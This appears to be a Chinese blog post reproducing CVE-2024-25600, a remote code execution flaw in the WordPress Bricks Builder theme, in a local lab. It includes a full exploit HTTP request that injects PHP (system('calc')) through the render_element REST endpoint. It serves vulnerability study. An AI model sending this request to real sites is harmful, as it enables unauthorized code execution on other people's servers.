
CVE-2024-25600:WordPress Bricks Builder RCE 复现
2025-01-21 发布28 浏览 · 0 点赞 · 0 收藏
**下载Bricks Builder(Brick Builder <= 1.9.6):**https://www.cheshirex.com/7733.html
**下载WordPress:**https://github.com/WordPress/WordPress/releases/tag/6.4.3
安装一个phpstudy,并启动,将下载的wordpress解压到WWW目录下
设置数据库,随便设置一个
访问 http://localhost/WordPress-6.4.3/,根据提示完成数据库的连接,并注册WordPress用户。完成后显示如下页面。
找到”主题“
选择上传主题(zip格式),在这里将我们下载好的brick上传,安装。安装完后启用此主题。
此时右侧就会出现Bricks,则说明启用成功。
打开工具burpsuite,新建扫描,输入URL(http://localhost/WordPress-6.4.3/)进行扫描
抓到两条请求
在这两条响应中检索nonce,找到对应的nonce
将此条请求发送到重放器(send to Repeater)
构造请求,并将nonce修改为你找到的相应的nonce
POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 295
{
"postId":"1",
"nonce":"5c0e917b7b",
"element":{
"name":"container",
"settings":{
"hasLoop":"",
"query":{
"useQueryEditor":true,
"queryEditor":"system('calc');throw new Exception();",
"objectType":""
}
}
}
}
构造完毕后发送请求得到响应
未完待续........
请前往 登录/注册 即可发表您的看法…